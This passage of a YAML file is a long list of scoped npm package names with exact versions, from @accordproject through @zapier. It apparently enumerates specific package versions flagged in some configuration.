            - '@accordproject/concerto-linter-default-ruleset@3.24.1'
            - '@accordproject/concerto-metamodel@3.12.5'
            - '@accordproject/concerto-types@3.24.1'
            - '@accordproject/markdown-it-cicero@0.16.26'
            - '@accordproject/template-engine@2.7.2'
            - '@actbase/css-to-react-native-transform@1.0.3'
            - '@actbase/native@0.1.32'
            - '@actbase/node-server@1.1.19'
            - '@actbase/react-absolute@0.8.3'
            - '@actbase/react-daum-postcode@1.0.5'
            - '@actbase/react-kakaosdk@0.9.27'
            - '@actbase/react-native-actionsheet@1.0.3'
            - '@actbase/react-native-devtools@0.1.3'
            - '@actbase/react-native-fast-image@8.5.13'
            - '@actbase/react-native-kakao-channel@1.0.2'
            - '@actbase/react-native-kakao-navi@2.0.4'
            - '@actbase/react-native-less-transformer@1.0.6'
            - '@actbase/react-native-naver-login@1.0.1'
            - '@actbase/react-native-simple-video@1.0.13'
            - '@actbase/react-native-tiktok@1.1.3'
            - '@afetcan/api@0.0.13'
            - '@afetcan/storage@0.0.27'
            - '@alaan/s2s-auth@2.0.3'
            - '@alexadark/amadeus-api@1.0.4'
            - '@alexadark/gatsby-theme-events@1.0.1'
            - '@alexadark/gatsby-theme-wordpress-blog@2.0.1'
            - '@alexadark/reusable-functions@1.5.1'
            - '@alexcolls/nuxt-socket.io@0.0.7'
            - '@alexcolls/nuxt-socket.io@0.0.8'
            - '@alexcolls/nuxt-ux@0.6.1'
            - '@alexcolls/nuxt-ux@0.6.2'
            - '@antstackio/eslint-config-antstack@0.0.3'
            - '@antstackio/express-graphql-proxy@0.2.8'
            - '@antstackio/graphql-body-parser@0.1.1'
            - '@antstackio/json-to-graphql@1.0.3'
            - '@antstackio/shelbysam@1.1.7'
            - '@aryanhussain/my-angular-lib@0.0.23'
            - '@asyncapi/avro-schema-parser@3.0.25'
            - '@asyncapi/avro-schema-parser@3.0.26'
            - '@asyncapi/bundler@0.6.5'
            - '@asyncapi/bundler@0.6.6'
            - '@asyncapi/cli@4.1.2'
            - '@asyncapi/cli@4.1.3'
            - '@asyncapi/converter@1.6.3'
            - '@asyncapi/converter@1.6.4'
            - '@asyncapi/diff@0.5.1'
            - '@asyncapi/diff@0.5.2'
            - '@asyncapi/dotnet-rabbitmq-template@1.0.1'
            - '@asyncapi/dotnet-rabbitmq-template@1.0.2'
            - '@asyncapi/edavisualiser@1.2.1'
            - '@asyncapi/edavisualiser@1.2.2'
            - '@asyncapi/generator-components@0.3.2'
            - '@asyncapi/generator-components@0.3.3'
            - '@asyncapi/generator-react-sdk@1.1.4'
            - '@asyncapi/generator-react-sdk@1.1.5'
            - '@asyncapi/generator@2.8.5'
            - '@asyncapi/generator@2.8.6'
            - '@asyncapi/go-watermill-template@0.2.76'
            - '@asyncapi/go-watermill-template@0.2.77'
            - '@asyncapi/html-template@3.3.2'
            - '@asyncapi/html-template@3.3.3'
            - '@asyncapi/java-spring-cloud-stream-template@0.13.5'
            - '@asyncapi/java-spring-cloud-stream-template@0.13.6'
            - '@asyncapi/java-spring-template@1.6.1'
            - '@asyncapi/java-spring-template@1.6.2'
            - '@asyncapi/java-template@0.3.5'
            - '@asyncapi/java-template@0.3.6'
            - '@asyncapi/keeper@0.0.2'
            - '@asyncapi/keeper@0.0.3'
            - '@asyncapi/markdown-template@1.6.8'
            - '@asyncapi/markdown-template@1.6.9'
            - '@asyncapi/modelina-cli@5.10.2'
            - '@asyncapi/modelina-cli@5.10.3'
            - '@asyncapi/modelina@5.10.2'
            - '@asyncapi/modelina@5.10.3'
            - '@asyncapi/multi-parser@2.2.1'
            - '@asyncapi/multi-parser@2.2.2'
            - '@asyncapi/nodejs-template@3.0.5'
            - '@asyncapi/nodejs-template@3.0.6'
            - '@asyncapi/nodejs-ws-template@0.10.1'
            - '@asyncapi/nodejs-ws-template@0.10.2'
            - '@asyncapi/nunjucks-filters@2.1.1'
            - '@asyncapi/nunjucks-filters@2.1.2'
            - '@asyncapi/openapi-schema-parser@3.0.25'
            - '@asyncapi/openapi-schema-parser@3.0.26'
            - '@asyncapi/optimizer@1.0.5'
            - '@asyncapi/optimizer@1.0.6'
            - '@asyncapi/parser@3.4.1'
            - '@asyncapi/parser@3.4.2'
            - '@asyncapi/php-template@0.1.1'
            - '@asyncapi/php-template@0.1.2'
            - '@asyncapi/problem@1.0.1'
            - '@asyncapi/problem@1.0.2'
            - '@asyncapi/protobuf-schema-parser@3.5.2'
            - '@asyncapi/protobuf-schema-parser@3.5.3'
            - '@asyncapi/protobuf-schema-parser@3.6.1'
            - '@asyncapi/python-paho-template@0.2.14'
            - '@asyncapi/python-paho-template@0.2.15'
            - '@asyncapi/react-component@2.6.6'
            - '@asyncapi/react-component@2.6.7'
            - '@asyncapi/server-api@0.16.24'
            - '@asyncapi/server-api@0.16.25'
            - '@asyncapi/specs@6.10.1'
            - '@asyncapi/specs@6.8.2'
            - '@asyncapi/specs@6.8.3'
            - '@asyncapi/specs@6.9.1'
            - '@asyncapi/studio@1.0.2'
            - '@asyncapi/studio@1.0.3'
            - '@asyncapi/web-component@2.6.6'
            - '@asyncapi/web-component@2.6.7'
            - '@bdkinc/knex-ibmi@0.5.7'
            - '@browserbasehq/bb9@1.2.21'
            - '@browserbasehq/director-ai@1.0.3'
            - '@browserbasehq/mcp-server-browserbase@2.4.2'
            - '@browserbasehq/mcp@2.1.1'
            - '@browserbasehq/sdk-functions@0.0.4'
            - '@browserbasehq/stagehand-docs@1.0.1'
            - '@browserbasehq/stagehand@3.0.4'
            - '@caretive/caret-cli@0.0.2'
            - '@chtijs/eslint-config@1.0.1'
            - '@clausehq/flows-step-httprequest@0.1.14'
            - '@clausehq/flows-step-jsontoxml@0.1.14'
            - '@clausehq/flows-step-mqtt@0.1.14'
            - '@clausehq/flows-step-sendgridemail@0.1.14'
            - '@clausehq/flows-step-taskscreateurl@0.1.14'
            - '@cllbk/ghl@1.3.1'
            - '@commute/bloom@1.0.3'
            - '@commute/market-data-chartjs@2.3.1'
            - '@commute/market-data@1.0.2'
            - '@dev-blinq/ai-qa-logic@1.0.19'
            - '@dev-blinq/blinqioclient@1.0.21'
            - '@dev-blinq/cucumber-js@1.0.131'
            - '@dev-blinq/cucumber_client@1.0.738'
            - '@dev-blinq/ui-systems@1.0.93'
            - '@elsedev/react-csr-sdk@0.2.2'
            - '@ensdomains/address-encoder@1.1.5'
            - '@ensdomains/blacklist@1.0.1'
            - '@ensdomains/buffer@0.1.2'
            - '@ensdomains/ccip-read-cf-worker@0.0.4'
            - '@ensdomains/ccip-read-dns-gateway@0.1.1'
            - '@ensdomains/ccip-read-router@0.0.7'
            - '@ensdomains/ccip-read-worker-viem@0.0.4'
            - '@ensdomains/content-hash@3.0.1'
            - '@ensdomains/curvearithmetics@1.0.1'
            - '@ensdomains/cypress-metamask@1.2.1'
            - '@ensdomains/dnsprovejs@0.5.3'
            - '@ensdomains/dnssec-oracle-anchors@0.0.2'
            - '@ensdomains/dnssecoraclejs@0.2.9'
            - '@ensdomains/durin-middleware@0.0.2'
            - '@ensdomains/durin@0.1.2'
            - '@ensdomains/ens-archived-contracts@0.0.3'
            - '@ensdomains/ens-avatar@1.0.4'
            - '@ensdomains/ens-contracts@1.6.1'
            - '@ensdomains/ens-test-env@1.0.2'
            - '@ensdomains/ens-validation@0.1.1'
            - '@ensdomains/ensjs-react@0.0.5'
            - '@ensdomains/ensjs@4.0.3'
            - '@ensdomains/eth-ens-namehash@2.0.16'
            - '@ensdomains/hackathon-registrar@1.0.5'
            - '@ensdomains/hardhat-chai-matchers-viem@0.1.15'
            - '@ensdomains/hardhat-toolbox-viem-extended@0.0.6'
            - '@ensdomains/mock@2.1.52'
            - '@ensdomains/name-wrapper@1.0.1'
            - '@ensdomains/offchain-resolver-contracts@0.2.2'
            - '@ensdomains/op-resolver-contracts@0.0.2'
            - '@ensdomains/react-ens-address@0.0.32'
            - '@ensdomains/renewal-widget@0.1.10'
            - '@ensdomains/renewal@0.0.13'
            - '@ensdomains/reverse-records@1.0.1'
            - '@ensdomains/server-analytics@0.0.2'
            - '@ensdomains/solsha1@0.0.4'
            - '@ensdomains/subdomain-registrar@0.2.4'
            - '@ensdomains/test-utils@1.3.1'
            - '@ensdomains/thorin@0.6.51'
            - '@ensdomains/ui@3.4.6'
            - '@ensdomains/unicode-confusables@0.1.1'
            - '@ensdomains/unruggable-gateways@0.0.3'
            - '@ensdomains/vite-plugin-i18next-loader@4.0.4'
            - '@ensdomains/web3modal@1.10.2'
            - '@everreal/react-charts@2.0.1'
            - '@everreal/react-charts@2.0.2'
            - '@everreal/validate-esmoduleinterop-imports@1.4.4'
            - '@everreal/validate-esmoduleinterop-imports@1.4.5'
            - '@everreal/web-analytics@0.0.1'
            - '@everreal/web-analytics@0.0.2'
            - '@faq-component/core@0.0.4'
            - '@faq-component/react@1.0.1'
            - '@fishingbooker/browser-sync-plugin@1.0.5'
            - '@fishingbooker/react-loader@1.0.7'
            - '@fishingbooker/react-pagination@2.0.6'
            - '@fishingbooker/react-raty@2.0.1'
            - '@fishingbooker/react-swiper@0.1.5'
            - '@hapheus/n8n-nodes-pgp@1.5.1'
            - '@hover-design/core@0.0.1'
            - '@hover-design/react@0.2.1'
            - '@huntersofbook/auth-vue@0.4.2'
            - '@huntersofbook/core-nuxt@0.4.2'
            - '@huntersofbook/core@0.5.1'
            - '@huntersofbook/form-naiveui@0.5.1'
            - '@huntersofbook/i18n@0.8.2'
            - '@huntersofbook/ui@0.5.1'
            - '@hyperlook/telemetry-sdk@1.0.19'
            - '@ifelsedeveloper/protocol-contracts-svm-idl@0.1.2'
            - '@ifelsedeveloper/protocol-contracts-svm-idl@0.1.3'
            - '@ifings/design-system@4.9.2'
            - '@ifings/metatron3@0.1.5'
            - '@jayeshsadhwani/telemetry-sdk@1.0.14'
            - '@kvytech/cli@0.0.7'
            - '@kvytech/components@0.0.2'
            - '@kvytech/habbit-e2e-test@0.0.2'
            - '@kvytech/medusa-plugin-announcement@0.0.8'
            - '@kvytech/medusa-plugin-management@0.0.5'
            - '@kvytech/medusa-plugin-newsletter@0.0.5'
            - '@kvytech/medusa-plugin-product-reviews@0.0.9'
            - '@kvytech/medusa-plugin-promotion@0.0.2'
            - '@kvytech/web@0.0.2'
            - '@lessondesk/api-client@9.12.2'
            - '@lessondesk/api-client@9.12.3'
            - '@lessondesk/babel-preset@1.0.1'
            - '@lessondesk/electron-group-api-client@1.0.3'
            - '@lessondesk/eslint-config@1.4.2'
            - '@lessondesk/material-icons@1.0.3'
            - '@lessondesk/react-table-context@2.0.4'
            - '@lessondesk/schoolbus@5.2.2'
            - '@lessondesk/schoolbus@5.2.3'
            - '@livecms/live-edit@0.0.32'
            - '@livecms/nuxt-live-edit@1.9.2'
            - '@lokeswari-satyanarayanan/rn-zustand-expo-template@1.0.9'
            - '@louisle2/core@1.0.1'
            - '@louisle2/cortex-js@0.1.6'
            - '@lpdjs/firestore-repo-service@1.0.1'
            - '@lui-ui/lui-nuxt@0.1.1'
            - '@lui-ui/lui-tailwindcss@0.1.2'
            - '@lui-ui/lui-vue@1.0.13'
            - '@markvivanco/app-version-checker@1.0.1'
            - '@markvivanco/app-version-checker@1.0.2'
            - '@mcp-use/cli@2.2.6'
            - '@mcp-use/cli@2.2.7'
            - '@mcp-use/inspector@0.6.2'
            - '@mcp-use/inspector@0.6.3'
            - '@mcp-use/mcp-use@1.0.1'
            - '@mcp-use/mcp-use@1.0.2'
            - '@micado-digital/stadtmarketing-kufstein-external@1.9.1'
            - '@mizzle-dev/orm@0.0.2'
            - '@mparpaillon/connector-parse@1.0.1'
            - '@mparpaillon/imagesloaded@4.1.2'
            - '@mparpaillon/page@1.0.1'
            - '@ntnx/passport-wso2@0.0.3'
            - '@ntnx/t@0.0.101'
            - '@oku-ui/accordion@0.6.2'
            - '@oku-ui/alert-dialog@0.6.2'
            - '@oku-ui/arrow@0.6.2'
            - '@oku-ui/aspect-ratio@0.6.2'
            - '@oku-ui/avatar@0.6.2'
            - '@oku-ui/checkbox@0.6.3'
            - '@oku-ui/collapsible@0.6.2'
            - '@oku-ui/collection@0.6.2'
            - '@oku-ui/dialog@0.6.2'
            - '@oku-ui/direction@0.6.2'
            - '@oku-ui/dismissable-layer@0.6.2'
            - '@oku-ui/focus-guards@0.6.2'
            - '@oku-ui/focus-scope@0.6.2'
            - '@oku-ui/hover-card@0.6.2'
            - '@oku-ui/label@0.6.2'
            - '@oku-ui/menu@0.6.2'
            - '@oku-ui/motion-nuxt@0.2.2'
            - '@oku-ui/motion@0.4.4'
            - '@oku-ui/popover@0.6.2'
            - '@oku-ui/popper@0.6.2'
            - '@oku-ui/portal@0.6.2'
            - '@oku-ui/presence@0.6.2'
            - '@oku-ui/primitive@0.6.2'
            - '@oku-ui/primitives-nuxt@0.3.1'
            - '@oku-ui/primitives@0.7.9'
            - '@oku-ui/progress@0.6.2'
            - '@oku-ui/provide@0.6.2'
            - '@oku-ui/radio-group@0.6.2'
            - '@oku-ui/roving-focus@0.6.2'
            - '@oku-ui/scroll-area@0.6.2'
            - '@oku-ui/separator@0.6.2'
            - '@oku-ui/slider@0.6.2'
            - '@oku-ui/slot@0.6.2'
            - '@oku-ui/switch@0.6.2'
            - '@oku-ui/tabs@0.6.2'
            - '@oku-ui/toast@0.6.2'
            - '@oku-ui/toggle-group@0.6.2'
            - '@oku-ui/toggle@0.6.2'
            - '@oku-ui/toolbar@0.6.2'
            - '@oku-ui/tooltip@0.6.2'
            - '@oku-ui/use-composable@0.6.2'
            - '@oku-ui/utils@0.6.2'
            - '@oku-ui/visually-hidden@0.6.2'
            - '@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode@2.0.5'
            - '@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode@1.1.1'
            - '@orbitgtbelgium/orbit-components@1.2.9'
            - '@orbitgtbelgium/time-slider@1.0.187'
            - '@osmanekrem/bmad@1.0.6'
            - '@osmanekrem/error-handler@1.2.2'
            - '@pergel/cli@0.11.1'
            - '@pergel/module-box@0.6.1'
            - '@pergel/module-graphql@0.6.1'
            - '@pergel/module-ui@0.0.9'
            - '@pergel/nuxt@0.25.5'
            - '@posthog/agent@1.24.1'
            - '@posthog/ai@7.1.2'
            - '@posthog/automatic-cohorts-plugin@0.0.8'
            - '@posthog/bitbucket-release-tracker@0.0.8'
            - '@posthog/cli@0.5.15'
            - '@posthog/clickhouse@1.7.1'
            - '@posthog/core@1.5.6'
            - '@posthog/currency-normalization-plugin@0.0.8'
            - '@posthog/customerio-plugin@0.0.8'
            - '@posthog/databricks-plugin@0.0.8'
            - '@posthog/drop-events-on-property-plugin@0.0.8'
            - '@posthog/event-sequence-timer-plugin@0.0.8'
            - '@posthog/filter-out-plugin@0.0.8'
            - '@posthog/first-time-event-tracker@0.0.8'
            - '@posthog/geoip-plugin@0.0.8'
            - '@posthog/github-release-tracking-plugin@0.0.8'
            - '@posthog/gitub-star-sync-plugin@0.0.8'
            - '@posthog/heartbeat-plugin@0.0.8'
            - '@posthog/hedgehog-mode@0.0.42'
            - '@posthog/icons@0.36.1'
            - '@posthog/ingestion-alert-plugin@0.0.8'
            - '@posthog/intercom-plugin@0.0.8'
            - '@posthog/kinesis-plugin@0.0.8'
            - '@posthog/laudspeaker-plugin@0.0.8'
            - '@posthog/lemon-ui@0.0.1'
            - '@posthog/maxmind-plugin@0.1.6'
            - '@posthog/migrator3000-plugin@0.0.8'
            - '@posthog/netdata-event-processing@0.0.8'
            - '@posthog/nextjs-config@1.5.1'
            - '@posthog/nextjs@0.0.3'
            - '@posthog/nuxt@1.2.9'
            - '@posthog/pagerduty-plugin@0.0.8'
            - '@posthog/piscina@3.2.1'
            - '@posthog/plugin-contrib@0.0.6'
            - '@posthog/plugin-server@1.10.8'
            - '@posthog/plugin-unduplicates@0.0.8'
            - '@posthog/postgres-plugin@0.0.8'
            - '@posthog/react-rrweb-player@1.1.4'
            - '@posthog/rrdom@0.0.31'
            - '@posthog/rrweb-player@0.0.31'
            - '@posthog/rrweb-record@0.0.31'
            - '@posthog/rrweb-replay@0.0.19'
            - '@posthog/rrweb-snapshot@0.0.31'
            - '@posthog/rrweb-utils@0.0.31'
            - '@posthog/rrweb@0.0.31'
            - '@posthog/sendgrid-plugin@0.0.8'
            - '@posthog/siphash@1.1.2'
            - '@posthog/snowflake-export-plugin@0.0.8'
            - '@posthog/taxonomy-plugin@0.0.8'
            - '@posthog/twilio-plugin@0.0.8'
            - '@posthog/twitter-followers-plugin@0.0.8'
            - '@posthog/url-normalizer-plugin@0.0.8'
            - '@posthog/variance-plugin@0.0.8'
            - '@posthog/web-dev-server@1.0.5'
            - '@posthog/wizard@1.18.1'
            - '@posthog/zendesk-plugin@0.0.8'
            - '@postman/aether-icons@2.23.2'
            - '@postman/aether-icons@2.23.3'
            - '@postman/aether-icons@2.23.4'
            - '@postman/csv-parse@4.0.3'
            - '@postman/csv-parse@4.0.4'
            - '@postman/csv-parse@4.0.5'
            - '@postman/final-node-keytar@7.9.1'
            - '@postman/final-node-keytar@7.9.2'
            - '@postman/final-node-keytar@7.9.3'
            - '@postman/mcp-ui-client@5.5.1'
            - '@postman/mcp-ui-client@5.5.2'
            - '@postman/mcp-ui-client@5.5.3'
            - '@postman/node-keytar@7.9.4'
            - '@postman/node-keytar@7.9.5'
            - '@postman/node-keytar@7.9.6'
            - '@postman/pm-bin-linux-x64@1.24.3'
            - '@postman/pm-bin-linux-x64@1.24.4'
            - '@postman/pm-bin-linux-x64@1.24.5'
            - '@postman/pm-bin-macos-arm64@1.24.3'
            - '@postman/pm-bin-macos-arm64@1.24.4'
            - '@postman/pm-bin-macos-arm64@1.24.5'
            - '@postman/pm-bin-macos-x64@1.24.3'
            - '@postman/pm-bin-macos-x64@1.24.4'
            - '@postman/pm-bin-macos-x64@1.24.5'
            - '@postman/pm-bin-windows-x64@1.24.3'
            - '@postman/pm-bin-windows-x64@1.24.4'
            - '@postman/pm-bin-windows-x64@1.24.5'
            - '@postman/postman-collection-fork@4.3.3'
            - '@postman/postman-collection-fork@4.3.4'
            - '@postman/postman-collection-fork@4.3.5'
            - '@postman/postman-mcp-cli@1.0.3'
            - '@postman/postman-mcp-cli@1.0.4'
            - '@postman/postman-mcp-cli@1.0.5'
            - '@postman/postman-mcp-server@2.4.10'
            - '@postman/postman-mcp-server@2.4.11'
            - '@postman/postman-mcp-server@2.4.12'
            - '@postman/pretty-ms@6.1.1'
            - '@postman/pretty-ms@6.1.2'
            - '@postman/pretty-ms@6.1.3'
            - '@postman/secret-scanner-wasm@2.1.2'
            - '@postman/secret-scanner-wasm@2.1.3'
            - '@postman/secret-scanner-wasm@2.1.4'
            - '@postman/tunnel-agent@0.6.5'
            - '@postman/tunnel-agent@0.6.6'
            - '@postman/tunnel-agent@0.6.7'
            - '@postman/wdio-allure-reporter@0.0.7'
            - '@postman/wdio-allure-reporter@0.0.8'
            - '@postman/wdio-allure-reporter@0.0.9'
            - '@postman/wdio-junit-reporter@0.0.4'
            - '@postman/wdio-junit-reporter@0.0.5'
            - '@postman/wdio-junit-reporter@0.0.6'
            - '@pradhumngautam/common-app@1.0.2'
            - '@productdevbook/animejs-vue@0.2.1'
            - '@productdevbook/auth@0.2.2'
            - '@productdevbook/chatwoot@2.0.1'
            - '@productdevbook/motion@1.0.4'
            - '@productdevbook/ts-i18n@1.4.2'
            - '@pruthvi21/use-debounce@1.0.3'
            - '@quick-start-soft/quick-document-translator@1.4.2511142126'
            - '@quick-start-soft/quick-git-clean-markdown@1.4.2511142126'
            - '@quick-start-soft/quick-markdown-compose@1.4.2506300029'
            - '@quick-start-soft/quick-markdown-image@1.4.2511142126'
            - '@quick-start-soft/quick-markdown-print@1.4.2511142126'
            - '@quick-start-soft/quick-markdown-translator@1.4.2509202331'
            - '@quick-start-soft/quick-markdown@1.4.2511142126'
            - '@quick-start-soft/quick-remove-image-background@1.4.2511142126'
            - '@quick-start-soft/quick-task-refine@1.4.2511142126'
            - '@relyt/claude-context-core@0.1.1'
            - '@relyt/claude-context-mcp@0.1.1'
            - '@relyt/mcp-server-relytone@0.0.3'
            - '@sameepsi/sor2@2.0.2'
            - '@sameepsi/sor@1.0.3'
            - '@seezo/sdr-mcp-server@0.0.5'
            - '@seung-ju/next@0.0.2'
            - '@seung-ju/openapi-generator@0.0.4'
            - '@seung-ju/react-hooks@0.0.2'
            - '@seung-ju/react-native-action-sheet@0.2.1'
            - '@silgi/better-auth@0.8.1'
            - '@silgi/drizzle@0.8.4'
            - '@silgi/ecosystem@0.7.6'
            - '@silgi/graphql@0.7.15'
            - '@silgi/module-builder@0.8.8'
            - '@silgi/openapi@0.7.4'
            - '@silgi/permission@0.6.8'
            - '@silgi/ratelimit@0.2.1'
            - '@silgi/scalar@0.6.2'
            - '@silgi/yoga@0.7.1'
            - '@sme-ui/aoma-vevasound-metadata-lib@0.1.3'
            - '@strapbuild/react-native-date-time-picker@2.0.4'
            - '@strapbuild/react-native-perspective-image-cropper-2@0.4.7'
            - '@strapbuild/react-native-perspective-image-cropper-poojan31@0.4.6'
            - '@strapbuild/react-native-perspective-image-cropper@0.4.15'
            - '@suraj_h/medium-common@1.0.5'
            - '@thedelta/eslint-config@1.0.2'
            - '@tiaanduplessis/json@2.0.2'
            - '@tiaanduplessis/json@2.0.3'
            - '@tiaanduplessis/react-progressbar@1.0.1'
            - '@tiaanduplessis/react-progressbar@1.0.2'
            - '@trackstar/angular-trackstar-link@1.0.2'
            - '@trackstar/react-trackstar-link-upgrade@1.1.10'
            - '@trackstar/react-trackstar-link@2.0.21'
            - '@trackstar/test-angular-package@0.0.9'
            - '@trackstar/test-package@1.1.5'
            - '@trefox/sleekshop-js@0.1.6'
            - '@trigo/atrix-acl@4.0.2'
            - '@trigo/atrix-elasticsearch@2.0.1'
            - '@trigo/atrix-mongoose@1.0.2'
            - '@trigo/atrix-orientdb@1.0.2'
            - '@trigo/atrix-postgres@1.0.3'
            - '@trigo/atrix-pubsub@4.0.3'
            - '@trigo/atrix-redis@1.0.2'
            - '@trigo/atrix-soap@1.0.2'
            - '@trigo/atrix-swagger@3.0.1'
            - '@trigo/atrix@7.0.1'
            - '@trigo/bool-expressions@4.1.3'
            - '@trigo/eslint-config-trigo@3.3.1'
            - '@trigo/fsm@3.4.2'
            - '@trigo/hapi-auth-signedlink@1.3.1'
            - '@trigo/jsdt@0.2.1'
            - '@trigo/keycloak-api@1.3.1'
            - '@trigo/node-soap@0.5.4'
            - '@trigo/pathfinder-ui-css@0.1.1'
            - '@trigo/trigo-hapijs@5.0.1'
            - '@trpc-rate-limiter/cloudflare@0.1.4'
            - '@trpc-rate-limiter/hono@0.1.4'
            - '@varsityvibe/api-client@1.3.36'
            - '@varsityvibe/api-client@1.3.37'
            - '@varsityvibe/utils@5.0.6'
            - '@varsityvibe/validation-schemas@0.6.7'
            - '@varsityvibe/validation-schemas@0.6.8'
            - '@viapip/eslint-config@0.2.4'
            - '@vishadtyagi/full-year-calendar@0.1.11'
            - '@voiceflow/alexa-types@2.15.60'
            - '@voiceflow/alexa-types@2.15.61'
            - '@voiceflow/anthropic@0.4.4'
            - '@voiceflow/anthropic@0.4.5'
            - '@voiceflow/api-sdk@3.28.58'
            - '@voiceflow/api-sdk@3.28.59'
            - '@voiceflow/backend-utils@5.0.1'
            - '@voiceflow/backend-utils@5.0.2'
            - '@voiceflow/base-types@2.136.2'
            - '@voiceflow/base-types@2.136.3'
            - '@voiceflow/body-parser@1.21.2'
            - '@voiceflow/body-parser@1.21.3'
            - '@voiceflow/chat-types@2.14.58'
            - '@voiceflow/chat-types@2.14.59'
            - '@voiceflow/circleci-config-sdk-orb-import@0.2.1'
            - '@voiceflow/circleci-config-sdk-orb-import@0.2.2'
            - '@voiceflow/commitlint-config@2.6.1'
            - '@voiceflow/commitlint-config@2.6.2'
            - '@voiceflow/common@8.9.1'
            - '@voiceflow/common@8.9.2'
            - '@voiceflow/default-prompt-wrappers@1.7.3'
            - '@voiceflow/default-prompt-wrappers@1.7.4'
            - '@voiceflow/dependency-cruiser-config@1.8.11'
            - '@voiceflow/dependency-cruiser-config@1.8.12'
            - '@voiceflow/dtos-interact@1.40.1'
            - '@voiceflow/dtos-interact@1.40.2'
            - '@voiceflow/encryption@0.3.2'
            - '@voiceflow/encryption@0.3.3'
            - '@voiceflow/eslint-config@7.16.4'
            - '@voiceflow/eslint-config@7.16.5'
            - '@voiceflow/eslint-plugin@1.6.1'
            - '@voiceflow/eslint-plugin@1.6.2'
            - '@voiceflow/exception@1.10.1'
            - '@voiceflow/exception@1.10.2'
            - '@voiceflow/fetch@1.11.1'
            - '@voiceflow/fetch@1.11.2'
            - '@voiceflow/general-types@3.2.22'
            - '@voiceflow/general-types@3.2.23'
            - '@voiceflow/git-branch-check@1.4.3'
            - '@voiceflow/git-branch-check@1.4.4'
            - '@voiceflow/google-dfes-types@2.17.12'
            - '@voiceflow/google-dfes-types@2.17.13'
            - '@voiceflow/google-types@2.21.12'
            - '@voiceflow/google-types@2.21.13'
            - '@voiceflow/husky-config@1.3.1'
            - '@voiceflow/husky-config@1.3.2'
            - '@voiceflow/logger@2.4.2'
            - '@voiceflow/logger@2.4.3'
            - '@voiceflow/metrics@1.5.1'
            - '@voiceflow/metrics@1.5.2'
            - '@voiceflow/natural-language-commander@0.5.2'
            - '@voiceflow/natural-language-commander@0.5.3'
            - '@voiceflow/nestjs-common@2.75.2'
            - '@voiceflow/nestjs-common@2.75.3'
            - '@voiceflow/nestjs-mongodb@1.3.1'
            - '@voiceflow/nestjs-mongodb@1.3.2'
            - '@voiceflow/nestjs-rate-limit@1.3.2'
            - '@voiceflow/nestjs-rate-limit@1.3.3'
            - '@voiceflow/nestjs-redis@1.3.1'
            - '@voiceflow/nestjs-redis@1.3.2'
            - '@voiceflow/nestjs-timeout@1.3.1'
            - '@voiceflow/nestjs-timeout@1.3.2'
            - '@voiceflow/npm-package-json-lint-config@1.1.1'
            - '@voiceflow/npm-package-json-lint-config@1.1.2'
            - '@voiceflow/openai@3.2.2'
            - '@voiceflow/openai@3.2.3'
            - '@voiceflow/pino-pretty@4.4.1'
            - '@voiceflow/pino-pretty@4.4.2'
            - '@voiceflow/pino@6.11.3'
            - '@voiceflow/pino@6.11.4'
            - '@voiceflow/prettier-config@1.10.1'
            - '@voiceflow/prettier-config@1.10.2'
            - '@voiceflow/react-chat@1.65.3'
            - '@voiceflow/react-chat@1.65.4'
            - '@voiceflow/runtime-client-js@1.17.2'
            - '@voiceflow/runtime-client-js@1.17.3'
            - '@voiceflow/runtime@1.29.1'
            - '@voiceflow/runtime@1.29.2'
            - '@voiceflow/sdk-runtime@1.43.1'
            - '@voiceflow/sdk-runtime@1.43.2'
            - '@voiceflow/secrets-provider@1.9.2'
            - '@voiceflow/secrets-provider@1.9.3'
            - '@voiceflow/semantic-release-config@1.4.1'
            - '@voiceflow/semantic-release-config@1.4.2'
            - '@voiceflow/serverless-plugin-typescript@2.1.7'
            - '@voiceflow/serverless-plugin-typescript@2.1.8'
            - '@voiceflow/slate-serializer@1.7.3'
            - '@voiceflow/slate-serializer@1.7.4'
            - '@voiceflow/stitches-react@2.3.2'
            - '@voiceflow/stitches-react@2.3.3'
            - '@voiceflow/storybook-config@1.2.2'
            - '@voiceflow/storybook-config@1.2.3'
            - '@voiceflow/stylelint-config@1.1.1'
            - '@voiceflow/stylelint-config@1.1.2'
            - '@voiceflow/test-common@2.1.1'
            - '@voiceflow/test-common@2.1.2'
            - '@voiceflow/tsconfig-paths@1.1.4'
            - '@voiceflow/tsconfig-paths@1.1.5'
            - '@voiceflow/tsconfig@1.12.1'
            - '@voiceflow/tsconfig@1.12.2'
            - '@voiceflow/utils-designer@1.74.19'
            - '@voiceflow/utils-designer@1.74.20'
            - '@voiceflow/verror@1.1.4'
            - '@voiceflow/verror@1.1.5'
            - '@voiceflow/vite-config@2.6.2'
            - '@voiceflow/vite-config@2.6.3'
            - '@voiceflow/vitest-config@1.10.2'
            - '@voiceflow/vitest-config@1.10.3'
            - '@voiceflow/voice-types@2.10.58'
            - '@voiceflow/voice-types@2.10.59'
            - '@voiceflow/voiceflow-types@3.32.45'
            - '@voiceflow/voiceflow-types@3.32.46'
            - '@voiceflow/widget@1.7.18'
            - '@voiceflow/widget@1.7.19'
            - '@vucod/email@0.0.3'
            - '@zapier/ai-actions-react@0.1.12'
            - '@zapier/ai-actions-react@0.1.13'
            - '@zapier/ai-actions-react@0.1.14'
            - '@zapier/ai-actions@0.1.18'
            - '@zapier/ai-actions@0.1.19'
            - '@zapier/ai-actions@0.1.20'
            - '@zapier/babel-preset-zapier@6.4.1'
            - '@zapier/babel-preset-zapier@6.4.2'
            - '@zapier/babel-preset-zapier@6.4.3'
            - '@zapier/browserslist-config-zapier@1.0.3'
            - '@zapier/browserslist-config-zapier@1.0.4'
            - '@zapier/browserslist-config-zapier@1.0.5'
            - '@zapier/eslint-plugin-zapier@11.0.3'
            - '@zapier/eslint-plugin-zapier@11.0.4'
            - '@zapier/eslint-plugin-zapier@11.0.5'
            - '@zapier/mcp-integration@3.0.1'
            - '@zapier/mcp-integration@3.0.2'
            - '@zapier/mcp-integration@3.0.3'
            - '@zapier/secret-scrubber@1.1.3'
            - '@zapier/secret-scrubber@1.1.4'
            - '@zapier/secret-scrubber@1.1.5'
            - '@zapier/spectral-api-ruleset@1.9.1'
            - '@zapier/spectral-api-ruleset@1.9.2'
            - '@zapier/spectral-api-ruleset@1.9.3'
            - '@zapier/stubtree@0.1.2'
            - '@zapier/stubtree@0.1.3'
            - '@zapier/stubtree@0.1.4'
            - '@zapier/zapier-sdk@0.15.5'
            - '@zapier/zapier-sdk@0.15.6'
            - '@zapier/zapier-sdk@0.15.7'
